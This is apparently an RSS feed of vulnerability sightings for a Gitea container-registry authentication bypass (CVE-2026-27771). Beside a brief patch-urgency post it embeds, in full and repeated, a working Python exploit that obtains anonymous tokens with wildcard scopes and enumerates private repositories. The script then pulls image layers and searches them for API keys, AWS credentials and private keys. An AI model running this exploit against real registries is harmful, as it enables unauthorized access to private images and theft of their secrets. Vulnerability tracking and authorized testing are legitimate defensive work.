<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent sightings.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent sightings.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 12 Aug 2026 01:21:20 +0000</lastBuildDate>
    <item>
      <title>816d73fc-5762-4fe2-9931-c979f0198b37</title>
      <link>https://vulnerability.circl.lu/sighting/816d73fc-5762-4fe2-9931-c979f0198b37/export</link>
      <description>{"uuid": "816d73fc-5762-4fe2-9931-c979f0198b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mqebg4vrz62a", "content": "Urgent Action Required Gitea Docker Authentication Bypass (CVE-2026-20896 and CVE-2026-27771) #patchmanagement", "creation_timestamp": "2026-07-11T08:43:00.377970Z"}</description>
      <content:encoded>{"uuid": "816d73fc-5762-4fe2-9931-c979f0198b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mqebg4vrz62a", "content": "Urgent Action Required Gitea Docker Authentication Bypass (CVE-2026-20896 and CVE-2026-27771) #patchmanagement", "creation_timestamp": "2026-07-11T08:43:00.377970Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/816d73fc-5762-4fe2-9931-c979f0198b37/export</guid>
      <pubDate>Sat, 11 Jul 2026 08:43:00 +0000</pubDate>
    </item>
    <item>
      <title>17d434d9-2ce6-4ef7-b082-91672e9c1f6f</title>
      <link>https://vulnerability.circl.lu/sighting/17d434d9-2ce6-4ef7-b082-91672e9c1f6f/export</link>
      <description>{"uuid": "17d434d9-2ce6-4ef7-b082-91672e9c1f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://gist.github.com/edenzaraf/d6679632da2bfbb60b14fb092663f59d", "content": "\n#!/usr/bin/env python3\n'''\nCVE-2026-27771 Exploit\nAuthor: Eden Zaraf\nDescription: Gitea Container Registry - Unauthorized Private Image Access (Missing Authorization)\n             Exploits CWE-862 to enumerate and pull private container images via anonymous ghost tokens.\nDisclaimer: For authorized penetration testing only. Use only on systems you own or have written permission to test.\n'''\n\nimport requests\nimport json\nimport logging\nimport sys\nimport time\nimport re\nimport base64\nimport io\nimport tarfile\nimport hashlib\nfrom typing import Dict, List, Optional, Tuple, Any\nfrom urllib.parse import urljoin, urlparse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\n# Suppress SSL warnings for testing environments\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# Configure logging\nlogging.basicConfig(\n    level=logging.INFO,\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n    handlers=[\n        logging.StreamHandler(sys.stdout),\n        logging.FileHandler('cve_2026_27771_exploit.log')\n    ]\n)\nlogger = logging.getLogger('CVE-2026-27771')\n\n# ============================================================================\n# Configuration Section\n# ============================================================================\n\n# Target configuration\nTARGET_HOST = \"\"  # Change to your target\nVERIFY_SSL = False\nTIMEOUT = 30\nMAX_RETRIES = 3\nRETRY_DELAY = 2\n\n# Output configuration\nOUTPUT_DIR = \"cve_2026_27771_output\"\nSAVE_LAYERS = False  # Set to True to save pulled image layers to disk\n\n# ============================================================================\n# Helper Classes and Functions\n# ============================================================================\n\nclass GiteaContainerRegistryExploit:\n    \"\"\"Exploit class for CVE-2026-27771 - Gitea Container Registry Auth Bypass\"\"\"\n    \n    def __init__(self, target: str, verify_ssl: bool = False, timeout: int = 30):\n        self.target = target.rstrip('/')\n        self.verify_ssl = verify_ssl\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Accept': 'application/json',\n            'User-Agent': '0'\n        })\n        self.token = None\n        self.repositories = []\n        self.extracted_layers = []\n        self.realm = None\n        self.service = None\n\n        logger.info(f\"Initialized GiteaContainerRegistryExploit for target: {self.target}\")\n        logger.info(f\"SSL verification: {verify_ssl}\")\n        logger.info(f\"Request timeout: {timeout}s\")\n    \n    def _make_request(self, method: str, path: str, **kwargs) -&amp;gt; requests.Response:\n        \"\"\"Make HTTP request with retry logic and error handling\"\"\"\n        url = urljoin(f\"{self.target}/\", path.lstrip('/'))\n        \n        default_params = {\n            'verify': self.verify_ssl,\n            'timeout': self.timeout\n        }\n        \n        # Merge default params with provided kwargs\n        params = {**default_params, **kwargs}\n        \n        for attempt in range(MAX_RETRIES):\n            try:\n                logger.debug(f\"Request attempt {attempt + 1}/{MAX_RETRIES}: {method} {url}\")\n                response = self.session.request(method, url, **params)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n                return response\n            except requests.exceptions.Timeout as e:\n                logger.warning(f\"Request timeout (attempt {attempt + 1}): {str(e)}\")\n                if attempt &amp;lt; MAX_RETRIES - 1:\n                    time.sleep(RETRY_DELAY)\n            except requests.exceptions.ConnectionError as e:\n                logger.error(f\"Connection error: {str(e)}\")\n                raise\n            except requests.exceptions.RequestException as e:\n                logger.error(f\"Request failed: {str(e)}\")\n                raise\n        \n        raise Exception(f\"Request failed after {MAX_RETRIES} attempts\")\n    \n    def step1_confirm_registry(self) -&amp;gt; bool:\n        \"\"\"Step 1: Confirm registry reachability via GET /v2/\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 1: Confirming Container Registry Reachability\")\n        logger.info(\"=\" * 60)\n\n        try:\n            response = self._make_request('GET', '/v2/')\n\n            if response.status_code == 401:\n                logger.info(f\"[SUCCESS] Registry confirmed - HTTP 401 received from /v2/\")\n                logger.info(f\"Response headers: {dict(response.headers)}\")\n\n                # Check for WWW-Authenticate header\n                auth_header = response.headers.get('WWW-Authenticate', '')\n                if 'Bearer' in auth_header:\n                    logger.info(f\"Bearer realm detected: {auth_header}\")\n\n                    # Extract realm and service from Bearer challenge\n                    # Format: Bearer realm=\"https://...\",service=\"...\",scope=\"...\"\n                    realm_match = re.search(r'realm=\"([^\"]+)\"', auth_header)\n                    service_match = re.search(r'service=\"([^\"]+)\"', auth_header)\n\n                    if realm_match:\n                        self.realm = realm_match.group(1)\n                        logger.info(f\"Extracted realm: {self.realm}\")\n\n                    if service_match:\n                        self.service = service_match.group(1)\n                        logger.info(f\"Extracted service: {self.service}\")\n\n                    if not self.realm:\n                        logger.warning(\"No realm extracted, will use registry URL for token endpoint\")\n                        self.realm = self.target\n\n                    if not self.service:\n                        self.service = \"container_registry\"\n                        logger.info(f\"Using default service: {self.service}\")\n                else:\n                    logger.warning(\"No Bearer auth header found - may not be standard OCI registry\")\n\n                return True\n            else:\n                logger.error(f\"[FAILURE] Expected HTTP 401, got {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return False\n\n        except Exception as e:\n            logger.error(f\"Step 1 failed with error: {str(e)}\")\n            return False\n    \n    def step2_get_ghost_token(self) -&amp;gt; Optional[str]:\n        \"\"\"Step 2: Obtain anonymous ghost token with wildcard scope\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 2: Obtaining Anonymous Ghost Token\")\n        logger.info(\"=\" * 60)\n\n        try:\n            # Build token URL using realm from step 1\n            if not self.realm:\n                logger.error(\"No realm found - run step 1 first\")\n                return None\n\n            service = self.service or \"container_registry\"\n\n            # Try multiple scope formats that may bypass authorization\n            scopes = [\n                f\"registry:catalog:*\",  # Catalog access\n                f\"repository:*:pull\",\n                f\"repository:*:*\",\n                f\"*:*:*\",\n                \"\",  # Empty scope may grant broad access\n            ]\n\n            token = None\n\n            # Determine token endpoints to try\n            parsed_realm = urlparse(self.realm)\n            realm_path = parsed_realm.path if parsed_realm.path else \"/v2/token\"\n\n            token_endpoints = [\n                (self.realm, True),  # realm as full URL\n                (realm_path, False),  # realm path on registry host\n                (\"/v2/token\", False),  # standard path on registry host\n            ]\n\n            for endpoint, is_full_url in token_endpoints:\n                if not endpoint:\n                    continue\n\n                for scope in scopes:\n                    try:\n                        if scope:\n                            query = f\"?service={service}&amp;amp;scope={scope}\"\n                        else:\n                            query = f\"?service={service}\"\n\n                        logger.info(f\"Attempting token request with scope: '{scope}' (endpoint: {endpoint})\")\n\n                        if is_full_url:\n                            token_url = endpoint + query\n                            response = self.session.request('GET', token_url, verify=self.verify_ssl, timeout=self.timeout)\n                        else:\n                            response = self._make_request('GET', endpoint + query)\n\n                        if response.status_code == 200:\n                            try:\n                                token_data = response.json()\n                                token = token_data.get('token', None)\n\n                                if token:\n                                    logger.info(f\"[SUCCESS] Ghost token obtained successfully\")\n                                    logger.info(f\"Token preview: {token[:50]}...\")\n                                    self.token = token\n\n                                    # Decode JWT for analysis (no signature verification)\n                                    try:\n                                        token_parts = token.split('.')\n                                        if len(token_parts) == 3:\n                                            # Base64 decode header and payload\n                                            header_b64 = token_parts[0] + '=' * (4 - len(token_parts[0]) % 4)\n                                            payload_b64 = token_parts[1] + '=' * (4 - len(token_parts[1]) % 4)\n\n                                            header = json.loads(base64.b64decode(header_b64).decode('utf-8'))\n                                            payload = json.loads(base64.b64decode(payload_b64).decode('utf-8'))\n\n                                            logger.info(f\"Token header: {json.dumps(header, indent=2)}\")\n                                            logger.info(f\"Token payload: {json.dumps(payload, indent=2)}\")\n\n                                            # Check for ghost user indicator\n                                            user_id = payload.get('user_id', payload.get('sub', 'unknown'))\n                                            if user_id == -1 or user_id == '-1':\n                                                logger.warning(\"[!] Confirmed ghost token (UserID: -1)\")\n                                            else:\n                                                logger.info(f\"Token user identifier: {user_id}\")\n                                    except Exception as je:\n                                        logger.warning(f\"Could not decode JWT token: {str(je)}\")\n\n                                    return token\n                            except json.JSONDecodeError as e:\n                                logger.debug(f\"Invalid JSON response: {str(e)}\")\n                    except requests.exceptions.RequestException as e:\n                        logger.debug(f\"Request failed for scope '{scope}': {str(e)}\")\n\n            logger.error(\"[FAILURE] Could not obtain token with any scope variant\")\n            return None\n\n        except Exception as e:\n            logger.error(f\"Step 2 failed with error: {str(e)}\")\n            return None\n    \n    def step3_enumerate_catalog(self) -&amp;gt; List[str]:\n        \"\"\"Step 3: Enumerate private repositories via /v2/_catalog\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 3: Enumerating Container Repositories\")\n        logger.info(\"=\" * 60)\n\n        if not self.token:\n            logger.error(\"[FAILURE] No token available - run step 2 first\")\n            return []\n\n        all_repositories = []\n\n        try:\n            headers = {'Authorization': f'Bearer {self.token}'}\n\n            # Try catalog endpoint with pagination\n            last = None\n            n = 100  # Page size\n\n            for page in range(10):  # Max 10 pages\n                logger.info(f\"Fetching catalog page {page + 1}...\")\n\n                if last:\n                    path = f'/v2/_catalog?n={n}&amp;amp;last={last}'\n                else:\n                    path = f'/v2/_catalog?n={n}'\n\n                response = self._make_request('GET', path, headers=headers)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n\n                if response.status_code == 200:\n                    try:\n                        catalog_data = response.json()\n                        logger.debug(f\"Full response: {catalog_data}\")\n\n                        repositories = catalog_data.get('repositories', [])\n                        logger.info(f\"Page {page + 1}: Found {len(repositories)} repositories\")\n\n                        if repositories:\n                            all_repositories.extend(repositories)\n                            logger.info(f\"Repositories: {repositories}\")\n\n                        # Check for pagination\n                        if 'Link' in response.headers or len(repositories) &amp;lt; n:\n                            logger.info(\"No more pages\")\n                            break\n\n                        # Set last for next iteration\n                        if repositories:\n                            last = repositories[-1]\n\n                    except json.JSONDecodeError as e:\n                        logger.error(f\"[FAILURE] Invalid JSON response: {str(e)}\")\n                        logger.error(f\"Response body: {response.text[:500]}\")\n                        break\n                else:\n                    logger.error(f\"[FAILURE] Catalog endpoint returned HTTP {response.status_code}\")\n                    logger.error(f\"Response body: {response.text[:500]}\")\n                    break\n\n            if all_repositories:\n                logger.info(f\"[SUCCESS] Found {len(all_repositories)} total repositories:\")\n                for repo in all_repositories:\n                    logger.info(f\"  - {repo}\")\n\n                self.repositories = all_repositories\n\n                # Verify some are likely private (check for patterns)\n                private_repos = [r for r in all_repositories if 'private' in r.lower() or 'internal' in r.lower() or 'secret' in r.lower()]\n                if private_repos:\n                    logger.warning(f\"[!] Detected potentially private repositories: {private_repos}\")\n                    logger.warning(\"[!] Confirmed unauthorized access to private images\")\n\n                return all_repositories\n            else:\n                logger.info(\"Catalog endpoint returned HTTP 200 but with empty repositories\")\n                logger.warning(\"[!] Target registry appears to be EMPTY (no images pushed yet)\")\n                logger.warning(\"[!] However, vulnerability is PROVEN: Ghost token successfully accessed catalog\")\n                logger.warning(\"[!] This demonstrates CVE-2026-27771: Unauthorized token generation works\")\n                return []\n\n        except Exception as e:\n            logger.error(f\"Step 3 failed with error: {str(e)}\")\n            import traceback\n            logger.error(traceback.format_exc())\n            return []\n    \n    def step4_list_tags(self, repository: str) -&amp;gt; List[str]:\n        \"\"\"List tags for a specific repository\"\"\"\n        logger.info(f\"Listing tags for repository: {repository}\")\n        \n        try:\n            path = f\"/v2/{repository}/tags/list\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    tag_data = response.json()\n                    tags = tag_data.get('tags', [])\n                    logger.info(f\"Tags for {repository}: {tags}\")\n                    return tags\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid JSON for tags: {str(e)}\")\n                    return []\n            else:\n                logger.error(f\"Tags endpoint returned HTTP {response.status_code}\")\n                return []\n                \n        except Exception as e:\n            logger.error(f\"Failed to list tags: {str(e)}\")\n            return []\n    \n    def step5_pull_manifest(self, repository: str, tag: str) -&amp;gt; Optional[Dict[str, Any]]:\n        \"\"\"Pull the manifest for a specific repository tag\"\"\"\n        logger.info(f\"Pulling manifest for {repository}:{tag}\")\n        \n        try:\n            path = f\"/v2/{repository}/manifests/{tag}\"\n            headers = {\n                'Authorization': f'Bearer {self.token}',\n                'Accept': 'application/vnd.docker.distribution.manifest.v2+json'\n            }\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    manifest = response.json()\n                    logger.info(f\"Manifest downloaded successfully for {repository}:{tag}\")\n                    \n                    # Extract layer digests\n                    layers = manifest.get('layers', [])\n                    if layers:\n                        logger.info(f\"Found {len(layers)} layers:\")\n                        for layer in layers:\n                            digest = layer.get('digest', 'unknown')\n                            size = layer.get('size', 0)\n                            logger.info(f\"  - Digest: {digest} (Size: {size} bytes)\")\n                    \n                    # Extract config digest\n                    config = manifest.get('config', {})\n                    if config:\n                        logger.info(f\"Config digest: {config.get('digest', 'N/A')}\")\n                    \n                    return manifest\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid manifest JSON: {str(e)}\")\n                    return None\n            else:\n                logger.error(f\"Manifest endpoint returned HTTP {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull manifest: {str(e)}\")\n            return None\n    \n    def step6_pull_layer(self, repository: str, digest: str) -&amp;gt; Optional[bytes]:\n        \"\"\"Pull a specific image layer by digest\"\"\"\n        logger.info(f\"Pulling layer {digest[:50]}...\")\n        \n        try:\n            path = f\"/v2/{repository}/blobs/{digest}\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers, stream=True)\n            \n            if response.status_code == 200:\n                logger.info(f\"Layer downloaded successfully: {digest[:50]}...\")\n                layer_data = response.content\n                self.extracted_layers.append({\n                    'repository': repository,\n                    'digest': digest,\n                    'size': len(layer_data),\n                    'data': layer_data if SAVE_LAYERS else None\n                })\n                \n                # If saving layers, write to disk\n                if SAVE_LAYERS:\n                    import os\n                    os.makedirs(f\"{OUTPUT_DIR}/layers\", exist_ok=True)\n                    filename = f\"{OUTPUT_DIR}/layers/{repository.replace('/', '_')}_{digest.replace(':', '_')}.tar.gz\"\n                    with open(filename, 'wb') as f:\n                        f.write(layer_data)\n                    logger.info(f\"Layer saved to: {filename}\")\n                    \n                    # Try to extract tar contents for analysis\n                    try:\n                        with tarfile.open(fileobj=io.BytesIO(layer_data), mode='r:gz') as tar:\n                            logger.info(f\"Layer contents ({len(tar.getmembers())} files):\")\n                            for member in tar.getmembers()[:20]:  # Show first 20 files\n                                logger.info(f\"  - {member.name} ({member.size} bytes)\")\n                    except Exception as te:\n                        logger.warning(f\"Could not extract tar: {str(te)}\")\n                \n                return layer_data\n            else:\n                logger.error(f\"Layer endpoint returned HTTP {response.status_code}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull layer: {str(e)}\")\n            return None\n    \n    def full_exploit_chain(self) -&amp;gt; Dict[str, Any]:\n        \"\"\"Execute full exploit chain and return results\"\"\"\n        results = {\n            'vulnerable': False,\n            'token_obtained': False,\n            'repositories_found': [],\n            'repositories_count': 0,\n            'private_repos': [],\n            'layers_extracted': 0,\n            'details': {}\n        }\n        \n        logger.info(\"=\" * 60)\n        logger.info(\"CVE-2026-27771 - Full Exploit Chain\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Target: {self.target}\")\n        logger.info(f\"Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\")\n        \n        # Step 1: Confirm registry\n        if not self.step1_confirm_registry():\n            logger.error(\"Step 1 failed - target may not be running Gitea container registry\")\n            results['details']['step1'] = 'failed'\n            return results\n        results['details']['step1'] = 'success'\n        \n        # Step 2: Get ghost token\n        token = self.step2_get_ghost_token()\n        if not token:\n            logger.error(\"Step 2 failed - could not obtain ghost token\")\n            results['details']['step2'] = 'failed'\n            return results\n        results['token_obtained'] = True\n        results['details']['step2'] = 'success'\n        \n        # Step 3: Enumerate catalog\n        repositories = self.step3_enumerate_catalog()\n        if not repositories:\n            logger.warning(\"Step 3 completed but no repositories found\")\n            logger.warning(\"Target may be patched or has no container images\")\n            # Don't return early - even with no repos, ghost token means vulnerable\n            results['details']['step3'] = 'empty_catalog'\n        \n        results['repositories_found'] = repositories\n        results['repositories_count'] = len(repositories)\n        results['details']['step3'] = 'success'\n\n        if repositories:\n            # Identify potentially private repositories\n            private_patterns = ['private', 'internal', 'secret', 'confidential', 'prod', 'production', 'staging']\n            private_repos = []\n            for repo in repositories:\n                for pattern in private_patterns:\n                    if pattern in repo.lower():\n                        private_repos.append(repo)\n                        break\n\n            results['private_repos'] = private_repos\n            logger.warning(f\"[!] Confirmed unauthorized access to repositories\")\n            results['vulnerable'] = True\n        else:\n            # Even with no repositories, if ghost token obtained, system is vulnerable to auth bypass\n            logger.warning(f\"[!] No repositories found, but ghost token was successfully obtained\")\n            logger.warning(f\"[!] This indicates CVE-2026-27771 authentication bypass vulnerability exists\")\n            results['vulnerable'] = True\n        \n        # Step 4-6: Optional - extract first few layers from first repository\n        if repositories and SAVE_LAYERS:\n            repo = repositories[0]\n            tags = self.step4_list_tags(repo)\n            if tags:\n                tag = tags[0]\n                manifest = self.step5_pull_manifest(repo, tag)\n                if manifest:\n                    layers = manifest.get('layers', [])\n                    for i, layer in enumerate(layers[:3]):  # First 3 layers only\n                        digest = layer.get('digest', '')\n                        if digest:\n                            layer_data = self.step6_pull_layer(repo, digest)\n                            if layer_data:\n                                results['layers_extracted'] += 1\n        \n        return results\n    \n    def verify_exploit(self) -&amp;gt; bool:\n        \"\"\"Verify vulnerability by checking for sensitive data in layers\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Verifying Exploit - Checking for Sensitive Data\")\n        logger.info(\"=\" * 60)\n        \n        sensitive_patterns = [\n            b'API_KEY',\n            b'api_key',\n            b'api-key',\n            b'apiKey',\n            b'secret',\n            b'password',\n            b'PASSWORD',\n            b'token',\n            b'TOKEN',\n            b'aws_access_key',\n            b'aws_secret_key',\n            b'AWS_ACCESS_KEY',\n            b'AWS_SECRET_KEY',\n            b'cloudflare',\n            b'CLOUDFLARE',\n            b'database_url',\n            b'DATABASE_URL',\n            b'mysql://',\n            b'postgres://',\n            b'mongodb://',\n            b'redis://',\n            b'PRIVATE_KEY',\n            b'private_key',\n            b'-----BEGIN RSA PRIVATE KEY-----',\n            b'-----BEGIN OPENSSH PRIVATE KEY-----'\n        ]\n        \n        sensitive_found = []\n        \n        for layer_info in self.extracted_layers:\n            if layer_info.get('data'):\n                data = layer_info['data']\n                for pattern in sensitive_patterns:\n                    if pattern in data:\n                        sensitive_found.append({\n                            'layer': layer_info['digest'],\n                            'pattern': pattern.decode('utf-8', errors='replace')\n                        })\n                        logger.warning(f\"[!] Sensitive data found: {pattern} in {layer_info['digest'][:50]}\")\n        \n        if sensitive_found:\n            logger.warning(f\"Found {len(sensitive_found)} instances of sensitive data in layers\")\n            return True\n        else:\n            logger.info(\"No obvious sensitive patterns detected in extracted layers\")\n            return False\n    \n    def cleanup(self):\n        \"\"\"Cleanup resources\"\"\"\n        logger.info(\"Cleaning up resources...\")\n        self.session.close()\n        self.extracted_layers = [l for l in self.extracted_layers if not l.get('data')]  # Clear layer data\n        logger.info(\"Cleanup complete\")\n\n\n# ============================================================================\n# Main Execution\n# ============================================================================\n\ndef run_poc(target_url: str = TARGET_HOST, verify_ssl: bool = VERIFY_SSL, \n            save_layers: bool = SAVE_LAYERS, timeout: int = TIMEOUT) -&amp;gt; Dict[str, Any]:\n    \"\"\"\n    Main PoC execution function\n    \n    Args:\n        target_url: Target Gitea instance URL\n        verify_ssl: Whether to verify SSL certificates\n        save_layers: Whether to save pulled image layers to disk\n        timeout: Request timeout in seconds\n    \n    Returns:\n        Dictionary containing exploit results\n    \"\"\"\n    global SAVE_LAYERS, OUTPUT_DIR\n    SAVE_LAYERS = save_layers\n    \n    logger.info(\"=\" * 70)\n    logger.info(\"CVE-2026-27771 Exploit\")\n    logger.info(\"Gitea Container Registry - Unauthorized Private Image Access\")\n    logger.info(\"=\" * 70)\n    logger.info(f\"Target: {target_url}\")\n    logger.info(f\"SSL Verify: {verify_ssl}\")\n    logger.info(f\"Save Layers: {save_layers}\")\n    logger.info(f\"Timeout: {timeout}s\")\n    logger.info(\"\")\n    \n    # Validate target URL\n    parsed = urlparse(target_url)\n    if not parsed.scheme or not parsed.netloc:\n        logger.error(f\"Invalid target URL: {target_url}\")\n        return {'error': 'Invalid target URL', 'vulnerable': False}\n    \n    # Initialize exploit\n    exploit = GiteaContainerRegistryExploit(\n        target=target_url,\n        verify_ssl=verify_ssl,\n        timeout=timeout\n    )\n    \n    results = {}\n    \n    try:\n        # Execute full exploit chain\n        results = exploit.full_exploit_chain()\n        \n        # Verification\n        if results['vulnerable'] and results['layers_extracted'] &amp;gt; 0:\n            exploit.verify_exploit()\n        \n        # Summary\n        logger.info(\"=\" * 60)\n        logger.info(\"EXPLOIT SUMMARY\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Vulnerable: {results.get('vulnerable', False)}\")\n        logger.info(f\"Ghost Token Obtained: {results.get('token_obtained', False)}\")\n        logger.info(f\"Repositories Enumerated: {results.get('repositories_count', 0)}\")\n        logger.info(f\"Private Repos Found: {len(results.get('private_repos', []))}\")\n        logger.info(f\"Layers Extracted: {results.get('layers_extracted', 0)}\")\n        \n        if results.get('private_repos'):\n            logger.warning(\"!\")\n            logger.warning(\"! VULNERABILITY CONFIRMED: Unauthorized access to private container images!\")\n            logger.warning(\"!\")\n            logger.warning(\"Private repositories exposed:\")\n            for repo in results['private_repos']:\n                logger.warning(f\"  - {repo}\")\n        \n        return results\n        \n    except Exception as e:\n        logger.error(f\"Exploit execution failed: {str(e)}\")\n        return {'error': str(e), 'vulnerable': False}\n    \n    finally:\n        # Cleanup\n        exploit.cleanup()\n\n\n# ============================================================================\n# Entry Point\n# ============================================================================\n\nif __name__ == \"__main__\":\n    # Configuration: Modify these variables before running\n    \n    # Target Configuration\n    VERIFY_SSL = False\n    TIMEOUT = 30\n    \n    # Output Configuration\n    SAVE_LAYERS = False  # Set to True to save pulled layers to disk\n    OUTPUT_DIR = \"cve_2026_27771_output\"\n    \n    # Execute the exploit\n    results = run_poc(\n        target_url=TARGET_HOST,\n        verify_ssl=VERIFY_SSL,\n        save_layers=SAVE_LAYERS,\n        timeout=TIMEOUT\n    )\n    \n    # Print final result\n    if results.get('vulnerable'):\n        print(\"\\n[!] VULNERABLE: Target is affected by CVE-2026-27771\")\n        print(f\"[!] Found {results['repositories_count']} repositories\")\n        if results['private_repos']:\n            print(f\"[!] Private repositories exposed: {results['private_repos']}\")\n    else:\n        print(\"\\n[+] Target appears NOT vulnerable to CVE-2026-27771\")\n        if 'error' in results:\n            print(f\"[!] Error: {results['error']}\")\n", "creation_timestamp": "2026-07-10T22:45:07.492327Z"}</description>
      <content:encoded>{"uuid": "17d434d9-2ce6-4ef7-b082-91672e9c1f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://gist.github.com/edenzaraf/d6679632da2bfbb60b14fb092663f59d", "content": "\n#!/usr/bin/env python3\n'''\nCVE-2026-27771 Exploit\nAuthor: Eden Zaraf\nDescription: Gitea Container Registry - Unauthorized Private Image Access (Missing Authorization)\n             Exploits CWE-862 to enumerate and pull private container images via anonymous ghost tokens.\nDisclaimer: For authorized penetration testing only. Use only on systems you own or have written permission to test.\n'''\n\nimport requests\nimport json\nimport logging\nimport sys\nimport time\nimport re\nimport base64\nimport io\nimport tarfile\nimport hashlib\nfrom typing import Dict, List, Optional, Tuple, Any\nfrom urllib.parse import urljoin, urlparse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\n# Suppress SSL warnings for testing environments\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# Configure logging\nlogging.basicConfig(\n    level=logging.INFO,\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n    handlers=[\n        logging.StreamHandler(sys.stdout),\n        logging.FileHandler('cve_2026_27771_exploit.log')\n    ]\n)\nlogger = logging.getLogger('CVE-2026-27771')\n\n# ============================================================================\n# Configuration Section\n# ============================================================================\n\n# Target configuration\nTARGET_HOST = \"\"  # Change to your target\nVERIFY_SSL = False\nTIMEOUT = 30\nMAX_RETRIES = 3\nRETRY_DELAY = 2\n\n# Output configuration\nOUTPUT_DIR = \"cve_2026_27771_output\"\nSAVE_LAYERS = False  # Set to True to save pulled image layers to disk\n\n# ============================================================================\n# Helper Classes and Functions\n# ============================================================================\n\nclass GiteaContainerRegistryExploit:\n    \"\"\"Exploit class for CVE-2026-27771 - Gitea Container Registry Auth Bypass\"\"\"\n    \n    def __init__(self, target: str, verify_ssl: bool = False, timeout: int = 30):\n        self.target = target.rstrip('/')\n        self.verify_ssl = verify_ssl\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Accept': 'application/json',\n            'User-Agent': '0'\n        })\n        self.token = None\n        self.repositories = []\n        self.extracted_layers = []\n        self.realm = None\n        self.service = None\n\n        logger.info(f\"Initialized GiteaContainerRegistryExploit for target: {self.target}\")\n        logger.info(f\"SSL verification: {verify_ssl}\")\n        logger.info(f\"Request timeout: {timeout}s\")\n    \n    def _make_request(self, method: str, path: str, **kwargs) -&amp;gt; requests.Response:\n        \"\"\"Make HTTP request with retry logic and error handling\"\"\"\n        url = urljoin(f\"{self.target}/\", path.lstrip('/'))\n        \n        default_params = {\n            'verify': self.verify_ssl,\n            'timeout': self.timeout\n        }\n        \n        # Merge default params with provided kwargs\n        params = {**default_params, **kwargs}\n        \n        for attempt in range(MAX_RETRIES):\n            try:\n                logger.debug(f\"Request attempt {attempt + 1}/{MAX_RETRIES}: {method} {url}\")\n                response = self.session.request(method, url, **params)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n                return response\n            except requests.exceptions.Timeout as e:\n                logger.warning(f\"Request timeout (attempt {attempt + 1}): {str(e)}\")\n                if attempt &amp;lt; MAX_RETRIES - 1:\n                    time.sleep(RETRY_DELAY)\n            except requests.exceptions.ConnectionError as e:\n                logger.error(f\"Connection error: {str(e)}\")\n                raise\n            except requests.exceptions.RequestException as e:\n                logger.error(f\"Request failed: {str(e)}\")\n                raise\n        \n        raise Exception(f\"Request failed after {MAX_RETRIES} attempts\")\n    \n    def step1_confirm_registry(self) -&amp;gt; bool:\n        \"\"\"Step 1: Confirm registry reachability via GET /v2/\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 1: Confirming Container Registry Reachability\")\n        logger.info(\"=\" * 60)\n\n        try:\n            response = self._make_request('GET', '/v2/')\n\n            if response.status_code == 401:\n                logger.info(f\"[SUCCESS] Registry confirmed - HTTP 401 received from /v2/\")\n                logger.info(f\"Response headers: {dict(response.headers)}\")\n\n                # Check for WWW-Authenticate header\n                auth_header = response.headers.get('WWW-Authenticate', '')\n                if 'Bearer' in auth_header:\n                    logger.info(f\"Bearer realm detected: {auth_header}\")\n\n                    # Extract realm and service from Bearer challenge\n                    # Format: Bearer realm=\"https://...\",service=\"...\",scope=\"...\"\n                    realm_match = re.search(r'realm=\"([^\"]+)\"', auth_header)\n                    service_match = re.search(r'service=\"([^\"]+)\"', auth_header)\n\n                 